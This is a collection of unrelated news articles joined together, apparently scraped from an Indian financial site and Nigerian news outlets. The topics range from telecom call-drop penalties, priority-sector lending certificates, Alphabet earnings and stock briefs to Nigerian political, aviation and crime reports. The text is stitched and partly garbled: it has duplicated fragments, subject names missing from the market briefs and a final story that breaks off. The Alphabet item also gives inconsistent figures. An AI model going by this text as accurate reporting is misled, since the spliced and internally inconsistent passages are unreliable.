The issue of call drop compensation doesnt seem to be ending anytime soon. Both sides, i.e. TRAI and the telecom operators are ready to fight it out till the end, to convince the judiciary about their point of views.Operators have been claiming that all call drops should not be attributed to operators fault. According to them, its rather due to lack of spectrum, inability to erect more towers amid concerns over radiation and because of reconfiguration of networks after 2014s spectrum sale. TRAI on the other hand claims that lack of spectrum cannot be an issue, as various auctions have seen airwaves going unsold. So in case there was indeed a lack of spectrum, operators would have bought over the entire available spectrum in the auctions.Instead, TRAI is accusing operators of not investing enough in the infrastructure and technology. Analysts feel that penalty is a way of pushing operators to improve their efficiency and infrastructure that is supporting their revenues. Also, the penalty calculations being shown by operators and which run into tens of thousands of crores are not correct. At most, the penalty will be in few hundred crores.What operators are forgetting is that penalty is an indirect way of asking them to invest. If government wants, it can take the direct route and make it mandatory for telecom companies to spend a part of their revenues for network improvement. If that happens, they will have no other option left but to comply.But it is also true that the government considers the sector as a source of easy money. The high-value spectrum auctions in past have already put most operators in financial stress. So there is a need for government to give weightage to operators reasoning too, as had it not been for them, India would not have achieved the level of tele-density that it has now. As for the fight over call drop compensation is concerned, it is still not looking to end anytime soon. It will be interesting to see whether operators eventually give in to TRAIs demand of compensating customers for operator-originated call drops or not.
For years, bankers have their hands tied up due to restrictions and targets mandated by the Priority Sector Lending (PSL) framework. The norms require all banks to compulsorily lend up to 40% of their total loan book in 8 defined priority sector categories, with additional quotas for sub-categories. It has been tough for the banks to achieve all the targets, as not every bank is competent enough to lend to each and every kind of customer category.But with RBI now allowing banks to sell PSL certificates, the possibility of more efficient lending to borrowers, without sacrificing on any of the larger social inclusion goals, has increased.Now a bank that has expertise in lending to farmers, can sell more loans than what are required by PSL norms to these farmers. The excess loan credit can be sold off as PSL certificates to other banks that have not been able to achieve their targets linked to lending to farmers. This way, all banks can meet their quota of such loans even if they dont have the required expertise to do so. This is creditable move, as the broader social objective of lending to priority and weaker sectors will be met, without pushing each and every bank to do so.But there is a need to monitor this development closely, as the PSL certificates are structured in such a way that the buyers of these certificates have almost no downside risks. Sine no capital is blocked for the buyer, the thinking would now be on lines of comparing the cost of PSL lending, penalty of non-achievement of targets and cost of purchasing PSL certificates.Since many banks have deep-rooted expertise in selling particular kinds of loans, many such banks will now be incentivized to dole out far greater number of such loans than what might be financially prudent. And this would be for the sake of boosting their fee-based incomes. This would clearly increase the chance of credit quality being negatively affected then.
Billionaire investor George Soros has warned that a surge in Chinas debt is bringing the worlds second-largest economy on the brink of a financial crisis similar to one the US faced in 2008. has warned that a surge in Chinas debt is bringing the worlds second-largest economy on the brink of a financial crisis similar to one the US faced in 2008.

There is an eerie resemblance to whats happening in China to whats happened here leading up to the financial crisis in 2007-2008 and it is similarly fueled by credit growth, Soros said at a round table hosted by Asia Society late on Wednesday.

Its eventually unsustainable. But it feeds on itself and it has a lot to do with real estate, he said.

"Most of money that banks are supplying [in China] is needed to keep bad debts and loss-making enterprises alive," he said.

China is trying to reflate a bubble, and Soros is warning that it will come back to haunt them in future.

Soros thinks that China may be able to continue with this empty growth for a few years, just like the US did in 2005 and 2006, but that eventually it will come back to hurt them.

Soros said this cycle is "parabolic."

Earlier this year, he had stated that the country faced a hard (but survivable) landing.
The Department of Telecom (DoT) has given its approval to Reliance Communications (RCom) for sharing spectrum in 9 circles with RIL telecom arm Reliance Jio.



In a filing to the BSE, RCom said, "Department of Telecommunications (DoT) has taken on record 800Mhz Spectrum Sharing in 7 circles of the Company and 2 circles of Reliance Telecom Limited (RTL), wholly owned subsidiary with RJIL on April 21, 2016.



The Company and RTL are now able to share spectrum with RJIL in 9 circles viz. Mumbai, UP (E), MP, Bihar, Orrisa, Haryana, HP, Assam and North East."



Stock commentary:



Reliance Communications Ltd is currently trading at Rs. 57.45, up by Rs. 3.45 or 6.39% from its previous closing of Rs. 54 on the BSE.



The scrip opened at Rs. 53.7 and has touched a high and low of Rs. 57.8 and Rs. 53.45 respectively. So far 29776486(NSE+BSE) shares were traded on the counter. The current market cap of the company is Rs. 13440.49 crore.



The BSE group 'A' stock of face value Rs. 5 has touched a 52 week high of Rs. 91.8 on 01-Jan-2016 and a 52 week low of Rs. 45.65 on 25-Aug-2015. Last one week high and low of the scrip stood at Rs. 55.2 and Rs. 52.75 respectively.



The promoters holding in the company stood at 58.85 % while Institutions and Non-Institutions held 28.77 % and 11.09 % respectively.



The stock is currently trading above its 200 DMA.
Alphabet Inc. tumbled by 6.5% in after-hours trading on Thursday after the company reported much weaker-than-expected quarterly earnings. Shares ofumbled by 6.5% in after-hours trading on Thursday after the company reported much weaker-than-expected quarterly earnings.

The company reported net income of US$5.3 billion versus US$4.5 billion last year, an increase of 26%.

However, adjusted earnings per share were US$7.50, below consensus estimate of US$7.96.

Revenue rose by 17% to US$20.3 billion, compared with US$17.3 billion last year, topping the Wall Street estimate of US$16.6 billion.

Class A shares of Google are up 44% over the past one year.

Were thoughtfully pursuing big bets, said Ruth Porat, CFO of Alphabet. Investors have rewarded Alphabets stock since the company hired Ms. Porat in May, hoping she would step up scrutiny of spending at the company.

The Silicon Valley company, which reorganized itself into a holding company called Alphabet last year, gets nearly all of its revenue and all its profits from the core Google search and advertising business.
The Union Ministry of defence has ensured the participation of the Indian MSMEs (Micro, Small and Medium Enterprises) in defence sector for high technology products and services, Union MSME Minister, Mr Kalraj Mishra said at an ASSOCHAM event held in New Delhi today.

The Union minister also said , MSME can look forward to integrate themselves into the supply chains of Indian and international defence majors, said Mr Mishra while inaugurating a seminar on Seminar on Financial Clinic for MSMEs, organised by The Associated Chambers of Commerce and Industry of India (ASSOCHAM).

From April 2015, all PSUs, central government ministries and departments have been directed to procure at least 20 per cent of products and services required by them from micro and small enterprises. The move will enable startup MSMEs to be a part of the mandatory 20 per cent public procurement, said minister.

The technology centre will have infrastructure to provide professional training among others in tool making, metal cutting, maintenance, advance welding, information technology and industrial automation, said Mr Mishra.

He further said our ministry focus is twin-fold: entrepreneurship and skill development. To create entrepreneurship and also to create an entrepreneur mindset so that more and more people become entrepreneurs. Second is to provide employment to the unemployed.

The skill development ministry has made various announcements in this regard, but our ministry also has planned certain schemes. Our schemes are zero defect, zero effect which means doshmukt nirman. Zero defect means environment friendly, informed the Union MSME Minister.

For such kind of quality products we are working on the National Manufacturing Competitiveness Programme (NMCP). Through this scheme we will create quality products for which we are training people. It has various kinds of technology, including technological quality and tool centre system, said Mr. Mishra.

We have started a web portal for the digital employment scheme. Through the portal, we will know the requirements of a particular industry and if a youth feels the requirement matches his needs then they could negotiate. We are also trying to give training through incubation centres for livelihood, said Mr Mishra.

He also said that direct investment in SMEs supports sustainable economic development. Also, we have seen that facilitating the growth of these companies by providing access to risk capital and business assistance can empower a company to overcome the impediments to its growth and lead to its production of higher value-added products or services for both domestic and international consumers, while accelerating the development of its surrounding community.

SME investment leverages promising businesses to catalyze social-economic growth and entrepreneurship in local communities and markets. When done correctly and sustainability, such investment also produce significant returns for our investors.

Others who also spoke during the conference were Mr S Muhnot, CMD, Bank of Maharashtra, Mr S.N. Tripathi, Additional Secretary & Development Commissioner, Ministry of MSME, Government of India, Mr R. Narayan, Founder & CEO, Power2SME, Mr R.K. Dubey, Chief Mentor & President, Resurgent India Ltd. and CMA Rakesh Singh, Co-chairman, Uttar Pradesh Chapter, ASSOCHAM.
The Centre has decided to release 10000 MT pulses mainly Tur and Urad from buffer stock to ensure their availability at reasonable prices. The Government of India has requested State governments to avail this benefit and utilize the available stocks for managing the prices of pulses in their respective State. In this context States have also been requested to project their demands of pulses immediately to ensure timely allocation from the buffer stock. They have also been asked to keep a close watch on the prices and to take stringent action against hoarding of f the commodity. The centre has already empowered the States to impose stock limits on the pulses to ensure easy availability.

Government agencies have made procurement of about 50,000 MT pulses from the farmers during the Kharif Marketing Season, 2015-16 and has contracted 25,000 MT of pulses for import. The Government is also initiating procurement of Rabi pulses and has targeted to procure around 1, 00,000 MT of Chana and Masur to build the buffer stocks further.

SEBI has also decided to implement various regulatory measures on Chana contracts which include increase in the margin requirement to discourage speculation and to moderate the price volatility in forward market.

In order to encourage pulses production the Government has already increased MSP for pulses, by Rs.275 per qtl for Tur & Urad, and by Rs.250 per qtl for Moong.
A group of investors in SoftBank Group has called on the Board of Directors to investigate and possibly dismiss Nikesh Arora, according to media reports.An 11-page letter has questioned Arora's track record and qualifications as president and heir apparent to billionaire founder Masayoshi Son.The request came in a letter to SoftBanks Board dated 20th January from the American law firm Boies Schiller & Flexner and signed by Matthew Schwartz, a partner at the New York firm.The letter questions whether Arora has conflicts of interest due to his existing role as a senior adviser to the private equity firm Silver Lake.It also suggests that Arora may have been involved in past wrongdoing and generally poor business decisions.A separate letter from one investor to the Board of Sprint Corp., which SoftBank controls, asks for Arora's removal as a director there for similar reasons.SoftBank denied that Arora has done anything wrong and called the letter unsubstantiated allegations from unidentified shareholders.The Tokyo-based company said that it vets any potential conflicts in Aroras investment decisions and has complete confidence in his management.SoftBank said that the Board is in the process of reviewing the letter.
RIL will announce its Q4 results today. IIFL estimates that the Mukesh Ambani-led companys net revenues are expected to dip to Rs. 54,601 crore, at a rate of 2.6% yoy and 3.5% qoq.Hindustan Zinc , country's leading zinc producer and part of Vedanta Resources, reported standalone net profit of Rs. 2,149.13 crore for the quarter ended March 31, 2016, registering growth of 7.59% yoy and 18.65% qoq.Dewan Housing Finance Ltd is in talks to acquire Andromeda Sales & Distribution Pvt Ltd - one of the largest distributors of loans, mortgage, financing and financial instruments in India, reports a business daily.Cairn India will announce its Q4 results today. IIFL estimates that the companys net revenues are expected to plummet to Rs. 1,619 crore, at a rate of 36.9% yoy and 17.1% qoq.Piramal Enterprises has invested Rs. 256 crore in Sanghi Industries, a Kutch-based cement company with production capacity of 4.1 million tonnes a year (mtpa).The bank reported standalone net profit of Rs. 620.35 crore for the quarter ended March 31, 2016, registering growth of 25.25% yoy and 6.77% qoq.The company said that the process of stake sale in Viom Networks Limited to American Tower Corporation (ATC) has been completed.: The UK government is reportedly planning to acquire a minority stake of as much as 25% in Tata Steel's UK business to support the sale. This move comes on the actions taken by the UK government to salvage thousands of jobs after Tata Steel put its entire UK operations on the block, says report.: The board will consider the recommendations for distribution of profits of the Company till the financial year ended March 31, 2016, by way of dividend or buy back of a portion of fully paid up equity shares or a combination thereof, in its meeting scheduled to be held on April 26, 2016.: The government is planning to sell 10% of its stake in iron ore mining company NMDC through an offer for sale, as per media reports.Satin Creditcare Network Ltd: The board of directors of the company will be held on April 25, 2016, to consider and approve the issuance of 2,50,00,000 Non-Convertible, Rated, Redeemable, Cumulative, Preference Share (NCRCPS) on a private placement basis to the persons belonging to non-promoter group, along with other items of Agenda.Glenmark Pharma has received three observations from the US health regulator for its Pithampur, Indore plant.The has added ninth container vessel to its fleet, thereby embarking on providing weekly seamless connectivity between east and west coast of India.RPP Infra Projects has entered into a consortium agreement with Siemens for submitting a joint bid to Power Grid Company of Bangladesh to install substations.The pharma company said that the World Health Organisation (WHO) has suspended its products  Pyrazinamide and Sulfadoxine  from prequalified list of active pharmaceutical ingredients (API)Dishman Pharma has announced that it has received nod for Bonus Share issue.The company has posted a net profit of Rs. 115 crore for the quarter ended March 31, 2016 whereas the same was at Rs. 102.2 crore for the quarter ended March 31, 2015.Cyient net profit dropped 24% to Rs. 66 crore in Q4 FY16 as compared to Rs. 86.84 crore in Q3. The company registered a total income of Rs.815.8 crore as against Rs.781.8 crore qoq. Cyient had a one-time loss of Rs.8.7 crore.Jet Airways is planning to hire 400 pilots in the next 18 months, according to reports.
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www.indiainfoline.com is part of the IIFL Group, a leading financial services player and a diversified NBFC. The site provides comprehensive and real time information on Indian corporates, sectors, financial markets and economy. On the site we feature industry and political leaders, entrepreneurs, and trend setters. The research, personal finance and market tutorial sections are widely followed by students, academia, corporates and investors among others.
Tata Consultancy Services (TCS) has formed a long term strategic partnership with Vistara, India's fastest growing full service carrier. As per the agreement TCS will provide a broad range of IT services in the area of IT Management, application maintenance and application development to help Vistara achieve its goal in customer experience, operational excellence as well as cost leadership.In a short span of 15 months, Vistara, a joint venture of Tata and Singapore Airlines, has rapidly expanded its footprint both in terms of network and service proposition. Vistara currently offers almost 400 weekly flights to 16 destinations in India, 1.e. Delhi, Mumbai, Bengaluru, Hyderabad, Pune, Ahmedabad, Lucknow, Goa, Guwahati, Bagdogra, Bhubaneswar, Varanasi, Srinagar, Jammu, Kochi and Chandigarh (w.e.f. 2 May'16) . Vistara has already flown more than 1,600,000 happy customers .After a rigorous selection process to determine most proficient vendors 1n the sector, Vistara chose TCS based on its vast and proven experience of providing a comprehensive range of services and solutions to the world' s leading airlines. More specifically, TCS was selected for its IT capabilities and experience in the area of airline applications, passenger service system (PSS) solutions, integration capabilities, infrastructure, consulting, vision and innovation.Commenting on the partnership, Phee Teik Veoh, CEO, Vistara, said, "Since the start of Vistara's journey ,TCS has been a key technology partner that assisted us in defining our IT strategy, launch innovation platform items, created dashboards and tracking mechanisms to increase transparency and compliance. Both parties will now see greater synergies as the expanded partnership will extend many benefits to Vistara from TCS' vast airline domain capabilities as well as help us leverage its world-class technology and innovation competency."Key services delivered by TCS since the launch of Vistara , include application maintenance and services, end user computing and infrastructure support. Some of the key projects delivered are PSS implementation, e Commerce website, mobile applications, Data analytics and MIS. After the success of the first phase of this collaboration, Vistara sought to expand the partnership model, making TCS a strategic partner developing, delivering and managing the next generation of Vistara's technology stack, allowing the airline to leverage TCS' expertise to help grow its business in future. This second phase of the partnership started on 18 April 2016 with signing of a formal agreement by Vistara CEO Phee Teik Yeah and TCS Asia Pacific President Girish Ramachandran.Girish Ramachandran, President, TCS Asia Pacific added: "Vistara is a key strategic customer for TCS, and we are proud to have delivered a state-of-the-art, end-to-end airline platform that has assisted the airline to quickly and successfully enter into a highly competitive market. Through this strategic partnership, TCS has further demonstrated our leadership in airline technology solutions, and we look forward to working with Vistara to develop the next-generation of innovative digital and IT solutions that will help differentiate the airline for ongoing future success".
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The Oyo state police command has arrested 60-year-old Asabi Adebayo pictured above, for allegedly buying five babies (two boys and three girls) ranging from 2 years, eight months, seven months, six months and four months, at N5 million from Port-Harcourt, Rivers State.



According to Tribune, Asabi who is a US-returnee, was arrested at an orphanage in Oyo where she had gone to obtain a certified police report to put the babies up for adoption.

Asabi who was paraded alongside other suspects at the Oyo state police command on Wednesday April 20th, told the Tribune that she had been in search of a child for many years

I had been looking for fruits of the womb for many years until I reached menopause. Over two years ago, someone introduced me to a woman at Ikorodu, Lagos State, who could facilitate pregnancy through herbal concoction, so I and other women went there and were given the concoction. After that, I had sex with my partner. I am not married. We took the concoctions for nine to 10 months before we delivered. For delivery, we were taken to Port Harcourt. I delivered twins from the first pregnancy over two years ago. I got pregnant the second time and had triplets about a year ago. I paid N1million for the treatment on each of the children. In total, I paid N5million. I breast-fed my children for three months before weaning them as babies.  When asked why she had to pay N1million on each child since multiple births could come from any pregnancy, Asabi replied that the woman who gave her treatment told her ahead of delivery that she would pay according to the number of babies from each delivery. She said that she took the police to the place where she delivered the babies in Port Harcourt but the operators of the fertility clinic, a couple, were nowhere to be found.

On how she found herself in Ibadan though residing in Lagos State, she said: I came because the owner of an orphanage I approached said that if I wanted to get the children adopted, I would need to get a police report to take them out of Nigeria.

Asabi denied claims of buying the children. She said the fertility hospital that helped her get pregnant was run by a couple, Mr and Mrs Okoro who are currently at large.

Speaking on her arrest, the state Commissioner of Police, Leye Oyebade, said she was suspected to be part of a child trafficking syndicate who sell children to people residing abroad. According to Leye, Asabi was arrested after the force received a report from the proprietress of an orphanage in Ibadan on April 14, 2016, that the suspect requested her to assist in getting a police report to fly her five children abroad.

I directed the officer in charge of the Juvenile Welfare Centre of the Division to arrest her. When she got to the station, she told the police that she got the children for N1million each. She confessed that she got the children from a woman in Port Harcourt, Rivers State, but when the police from Oyo State command got there, the woman, who probably got a hint that the police were after her, could not be seen. We are trying to find out how the person who sold the babies came about them. Before we can get the details of the children, we have to get the person who sold them because she is the one that can give account of how she came about them. While at that, we have been able to identify that these are children that have been sold and for us to trace their origin, it will take some time. Investigation is still ongoing, the police commissioner stated.

All the children have been handed to officials at the state Ministry of Women Affairs while investigations into the matter is ongoing.

Source:LIB
The Nigerian Army on Friday paraded a fake colonel, Mr Prince Onyemauche and three serving soldiers who until their arrest had indulged in fraudulent activities in different parts of the country.

Acting Director of Army Public Relations, Col. Sani Usman announced the arrest at a news conference in Abuja, where the suspect was paraded.

According to Usman, the suspect was arrested in Gwagwalada on Feb. 17 alongside three soldiers, including one Staff Sergeant Jacob Philip, by troops of 176 Special Forces Guards Battalion.

He said the suspect had earlier escaped being caught at an Abaji military checkpoint where he claimed to be a colonel in the Nigerian Army.

The suspect was driving a grey-coloured Toyota Tacoma Pick-up van with registration number Lagos LSD 05 BM at the time of his arrest.

The suspects were moved to Gwagwalada barracks where a search was conducted on the Toyota Tacoma van.

Items found in the vehicle include an AK 47 rifle and four magazines, out of which two were empty, while the other two were loaded with 42 rounds of 7.62mm ammunition.

Others include a Luger pistol, 21 x 9mm parabellium ammunition, six cell phones, one Samsung galaxy tablet, 12 cheque booklets, six ATM cards and the sum of N1, 011,300, he said.

Usman said investigation revealed that the suspect had been illegally using soldiers as escorts while travelling outside Lagos to his village in Imo and sometimes to Abuja.

He said the arrested soldiers who were travelling with the suspect without official authorisation would be tried through a court martial.

Usman urged the public to be aware that not all persons that claimed to be military personnel were truly so.
The Commonwealth Secretary-General, Patricia Scotland, Thursday, hailed President Muhammadu Buhari for demonstrating brave leadership in the fight against corruption in Nigeria.

Scotland made the commendation while addressing a conference of High Commissioners and judges in London.

A statement from the Commonwealths Interim Head of Media and Public Affairs, Will Henley, quoted her as saying I must commend President Buhari of Nigeria for his brave leadership in tackling corruption head-on and commitments to reform the legal system. President Buharis envoy, Professor Gambari, who was the Nigerian foreign minister and UN Under-Secretary-General, is working with Madeleine Albright in New York to develop an international consensus on anti-corruption.

The Secretary-General also announced plans to launch a new Commonwealth kitemark against corruption, alongside a new Office of Civil and Criminal Justice Reform.

This effort, she said, would aim to provide all the 53 member countries of the organization with the templates and support they require to develop legislation and best practices.

Scotland, who was Attorney-General in the UK and one of the brains behind the formulation of the countrys Bribery Act, promised to step up collaboration among member countries to confront corruption in all its forms.

I want to make it clear that I have heard the high priority given by all member states to eliminating fraud, bribery and the corruption which continues to undermine development and compromises fairness and equality of opportunity in our societies.

Every dollar lost to corruption is a dollar lost to investing in a childs education, healthcare or much needed infrastructure, she said.
Members of the opposition Peoples Democratic Party (PDP) facing trial in any of the nations courts for corruption have been barred from standing for election into any position in the National Working Committee (NWC) of the party.

The partys national convention comes up on May 21, in Port Harcourt, Rivers State.

An official of the party, who spoke to Daily Trust yesterday on the condition of anonymity, said that the party was looking for members of proven integrity to fill various offices as part of efforts to reposition the party for victory in 2019.

He said this position of the party, perhaps, was behind the decision of the PDP national publicity secretary, Chief Olisa Metuh, to declare yesterday that he wont contest for any position at the convention irrespective of the outcome of the zoning of national offices.

Metuh is currently facing trial on 7-count charges brought against him by the Economic and Financial Crimes Commission, EFCC, for receiving N400 million from the Office of the former National Security Adviser, ONSA.

The PDP spokesman, in a statement he issued, yesterday, said as one of the founding members and longest serving member of the NEC, and currently a critical player in the party, his supporters and admirers expected him to contest, but he wont as being speculated in the media.

The statement read in part: I wish to state publicly that I have no ambitions to continue as a member of the National Working Committee after the expiration of my current tenure as the national publicity secretary, a decision that is enjoying the support of my family.

I therefore with every sense of responsibility confirm to all members of our great party, that I will not run for any position whatsoever, in the forthcoming national convention, irrespective of which office may be zoned to the South-east for that matter.

What is paramount in my mind, at this point, is to continue to lift the image of our great party during the remaining part of my tenure as the image maker of the PDP, a position which, by the grace of God, I have been able to dutifully deliver to the best of my ability, despite daunting challenges.
Senator representing Kogi West Senatorial District Dino Melaye has declared support for the embattled Senate President Bukola Saraki who is facing trial before the Code of Conduct Tribunal (CCT).

Saraki is accused of false assets declaration. With fresh allegations coming up at intervals over the past few months, calls have increased for the Senate presidents resignation.

#CCTvsSaraki : See fresh charges filed against @bukolasaraki for getting paid as Governor & Senator at the same time pic.twitter.com/lhFCbyDD3T  Sahara Reporters (@SaharaReporters) April 22, 2016

A popular figure in the National Assembly who enjoys the support of several of his colleagues, Saraki had at several times had dozens of Senators accompany him to court. However, with the increasing pressure, and lack of support by his party (which many believe is behind his ordeal) loyalties are expected to start shifting.

If all the senators stop supporting Saraki, Dino Melaye says he wouldnt.

My brother and friend Sen. Bukola Saraki,if you have 1 trillion supporters Im one,if you have one billion Im one,if you have one million Im one,if you have one thousound Im one if you have ten Im one,if you have only one supporter Im one and if you have no single supporter it means Im dead. No shaking. Four years tooo sure, Melaye wrote on his Facebook wall.
Ethiopian troops have crossed into South Sudan in search of more than 100 children who were kidnapped across the border in a surprise attack that also killed 208 people. The attackers, who were armed with machine guns, killed anyone who tried to stop them from taking the children, including women, according to witnesses. They also took more than 2,000 livestock.

Estimates of the number of children snatched ranged from 102 to 125. The army has been conducting reconnaissance missions in South Sudan and they have a clear idea of where the children are, Getachew Reda, the information minister, told the AFP news agency. We have sought approval of the government of South Sudan to conduct these operations.

Al Jazeeras Catherine Soi, reporting from Gambela in western Ethiopia, where the incident took place, reported that witnesses said the men were well organised and dressed in military fatigues. There is a lot of military action here now, Soi said. The whole area near the border with South Sudan is a security zone now. We cant access it at all.

One survivor, spoken to by Al Jazeera at a local hospital, said seven members of his family had been killed. One female patient, who had been shot four times, said her three-year-old son was shot in the dead. Two of her children, she said, were among the group snatched across the border. Ethiopia began two days of mourning on Wednesday in memory of those who died in the attack, which happened late last week.

Prime Minister Hailemariam Desalegn said in an address to the nation that Ethiopia was co-operating with the South Sudanese government to take joint measures against the attackers. On Wednesday, the European Union said it was in touch with South Sudanese authorities to offer help to ensure the immediate return of the children to their families. Ethiopian officials have blamed Murle tribesmen from South Sudan for a series of deadly attacks on Ethiopian villages in Gambela.
The sum of N299.7 billion has been shared between the Federal Government, states and local governments as revenue for March, 2016.

The sum is N37.8bn less than the N338.765bn shared for February.

The Permanent Secretary, Federal Ministry of Finance, Mahmud Dutse, made this known while addressing journalists at the end of the Federation Accounts Allocation Committee (FAAC) meeting held in Abuja yesterday.

Mr. Dutse gave a breakdown of how the revenue was shared between the three tiers of government as follows: Federal Government N109.113 billion; states N55.344 billion and LGs N42.668 billion.

Oil producing states got N19. 750 billion as 13 percent derivation.

Also, N61.665bn was shared from Value Added Tax (VAT) accruals with the federal government getting N9.250 billion; states, N30.833 and local governments; N21.583.

The permanent secretary, however, noted that the statutory revenue of N232.619 billion received for the month was lower than the N270.499 billion received in the previous month by N37.880 billion.

He said the sum of N6.3 billion that was refunded to the federation account by the Nigerian National Petroleum Corporation (NNPC) was also shared.
President Muhammadu Buhari Thursday in Abuja said his administration has begun the process of putting together comprehensive data on all Internally Displaced Persons (IDPs) and Nigerian refugees with a view to speeding up their resettlement.

We have frightening indices of the number of people and the situation in the IDP camps across the country. And in spite of the governments efforts and the hospitality of individuals and organizations, the situation needs better handling, Buhari said while receiving the United States Permanent Representative to the United Nations, Ambassador Samantha Power, at the Presidential Villa.

A large segment of the IDPs are mostly women and children. Some of the children are orphaned and dont know where they came from.

Now we are working on getting a comprehensive data of all the people in the camps so that the government and NGOs will be properly briefed on where and how to support them, he said.

The President said that IDPs, who were into farming before they were displaced by the Boko Haram, will be mobilized and assisted by the Ministry of Agriculture to return to their farms.

Ambassador Power commended the Federal Government for always being the first and highest responder to the IDPs in various camps in the country.

President Buhari said that the compilation of reliable data on the IDPs and refugees was being handled by designated Federal Government agencies, the military and other security agencies.
The Federal Government has issued a two-week ultimatum to Federal Airports Authority of Nigeria, FAAN, the Nigerian Airspace Management Agency, NAMA, and the Arik Air Group to resolve all issues relating to indebtedness between the organisations.

The Minister of State for Aviation, Senator Hadi Sirika, gave the directive at a meeting with the management of Arik Air in Abuja yesterday. He directed the parties to report back to him after the two-week ultimatum, with a resolution on the amounts owed, payment plans and the way forward.

According to the minister, the issue of alleged indebtedness by Arik Air that has led to disagreements with some trade unions within the regulatory agencies was highly regrettable, adding that while government will not condone lawlessness within the industry, all airline operators must conform to industry rules and regulations. These, he said, include the payment of applicable fees and fines as at when due.

Arik Air, however, said it had paid the Federal Airport Authority of Nigeria, FAAN, N18.9 billion of its indebtedness to the agency and had resumed services after Wednesdays disruption of its operations by unions in the industry. The fee paid, according to the airline covers the service charge from 2006 when it began operations till June 2015.

Managing Director of the airline, Chris Ndulue, who disclosed this at a press briefing in Lagos, refuted FAANs claim that Arik Air is owing the agency N12.5 billion, the alleged indebtedness workers in the aviation industry used as an excuse to shut down the airlines operation on Wednesday. He presented a letter dated February this year from the agency to Arik where the regulator acknowledged that the airline had paid N11.4 billion.

He alleged that the airline was being singled out for persecution, wondered why it had continued to be the only target of attack by FAAN even when other airlines were indebted to it.

Meanwhile Arik said it had resumed both domestic and international operations it suspended on Wednesday as a result of the actions of the union.
A former Special Adviser to immediate past President, Dr. Goodluck Jonathan on New Media, Reno Omokri, has blamed the federal government for the recent disclosure that Boko Haram is luring unsuspecting youths by giving them loans as a bait for membership.

The Army headquarters in a statement on Wednesday alerting Nigerians to the new clandestine dispensation of Boko Haram, said the terror group is offering loans to young entrepreneurs in the troubled Northeast as part of recruitment.

In his reaction, Mr. Omokri said the youths were falling prey to this latest antic by Boko Haram because the All Progressives Congress-led federal government had reneged on its electoral promise to pay N5,000 monthly to vulnerable Nigerians.

According to him, if the FG wont keep to its campaign promise and Nigerians in the Northeast resort to collecting loans from the terrorist sect, theyll trust Boko Haram more than govt.

The former presidential aide expressed these views in a series of tweets posted via his verified Twitter handle @renoomokri.

1-Alas, while government denies its own promise to give poor Nigerians an allowance, they are now collecting #LoansFromBokoHaram.  Reno Omokri (@renoomokri) April 22, 2016

2-The best way for govt to stop youths from collecting #LoansFromBokoHaram is to give them loans or fulfill its promise to pay them 5k  Reno Omokri (@renoomokri) April 22, 2016

3-If govt wont fulfill its promise to pay vulnerable Nigerians 5k and they get #LoansFromBokoHaram, they'll trust Boko Haram more than govt  Reno Omokri (@renoomokri) April 22, 2016

4-It is even strange that a group the President and army claim is 'defeated' is organized enough to give #LoansFromBokoHaram to Nigerians!  Reno Omokri (@renoomokri) April 22, 2016

5-Govt cant afford to give youths in the N. East an impression that Boko Haram cares more about their welfare than govt #LoansFromBokoHaram  Reno Omokri (@renoomokri) April 22, 2016

6-How will youths feel to hear Senators get 36 million cars while FG cant fulfill its 5k promise, but they can get #LoansFromBokoHaram?  Reno Omokri (@renoomokri) April 22, 2016

7-The President tells youths they cant get forex for education abroad but his own kids can, yet he wants them to reject #LoansFromBokoHaram?  Reno Omokri (@renoomokri) April 22, 2016

8-Its a sad day for Nigerian when youths cant trust govt to keep its promise of 5000 but they can put their trust on #LoansFromBokoHaram.  Reno Omokri (@renoomokri) April 22, 2016

9-I implore Nigerian youths, no matter how alienated you feel from govt, please resist the urge to collect #LoansFromBokoHaram!  Reno Omokri (@renoomokri) April 22, 2016
Cross River State Governor Ben Ayade has expressed his administrations resolve to legislate against the use of wood for roofing to check deforestation, restore lost greenery and boost forest regeneration.

We are in a process of enacting a new law that will prohibit the use of woods for roofing and encourage the use of steel instead, Ayade said when Ms Elsie Attafuah, the Senior Regional Technical Adviser, United Nations Reducing Emissions from Deforestation and Forest Degradation (UN-REDD) programme, visited him at Government House, Calabar.

So, very soon when the house passes the law, we will stop roofing with woods and when this happens, the demand for timber will drop drastically.

As we speak, a company is already on ground to start production of these roofing materials to meet the needs in the industry and reduce the dependence on wood as deliberate plans to save and protect the forest.

Ayade also urged the UN to do away with theoretical work and be more practical in its programmes in a manner that will translate into wealth creation among Nigerians.

He said the state government expected the REDD programme to impact in a desired manner on the citizenry, particularly host communities, to the reserved forests across the state. But in the last three years the REDD programme has focused only on training and educating people on understanding measurement analysis baselines, safeguards.

The time has come when they [the programmes] must reflect on the needs of the people to better their lots.

REDD PLUS is a plus and so please reflect on the needs of my people. Please fast track this readiness so that we can get into the investment phase because truly, everything REDD has done is wise.

What they have not done is that they have not been able to put one tree on the ground, so I dont know how you want to reduce emissions when you are not focusing on the practical aspect.

Essentially, REDD Plus is intended to preserve the forest for the good of mankind. So, if that man that you are preserving the forest for has to die of hunger, REDD must be coming too slow.

So, for me as a governor, a professor of Environmental Science, a lawyer, a combination of all these tells me clearly that the communities are not having a fair deal.

The communities are in pain and you must look into this as soon as possible. The ultimate thing is that action must be on ground, he said.

Ayade said REDD Plus still remained a technical issue but added: We are reducing it to the level where the local community can participate in planting, nursing and maturing trees.

It is still a process ahead, let us fast track this process and give us a good clearance, so that people truly will enjoy the benefits of the luxury of their forest; let them finally see the reward for conserving and preserving the forest.

Attafuah earlier told the governor that she was in the state with her team to commence the implementation process of the programme. She said the REDD programme would bring the desired benefits to the communities where the project was being carried out.
The U.S. Ambassador to the UN, Ms Samantha Power, on Thursday promised that the U.S Embassy in Nigeria would offer technical assistance to help Nigeria solve its lingering challenge of fuel scarcity. Power made the promise on Thursday in Abuja while fielding questions from newsmen during her visit to the Minister of Foreign Affairs, Mr Geoffrey Onyeama.

Just last night when I was coming from the airport, I saw long lines at petrol stations here in Nigeria. And I really feel for the people of this country, who are going through this difficult economic time, Poweer said.

And I think this is something the embassy has promised to offer whatever technical advice, counsel and technical assistance that we can offer.

But we know that some of the best minds in Nigeria are thinking about that, including the ministers in this government, she said.

Power said that U.S would discuss with Nigeria on diversification of its economy. She noted that the drop in oil prices had caused hardship for countries that are oil dependent.
The House of Representatives on Thursday summoned the Minister of Interior, Lt. Gen. Abdulrahman Danbazzau(retd.), and the Comptroller-General of the Nigerian Prisons Service, Mr. Peter Ekpendu, over an alleged assault on a female member of the House.

The incident took place on Wednesday close to the exit gate of the National Assembly, when the female lawmaker from Delta State, Mrs. Onyemachi Mrukpor, was driving out of the premises.

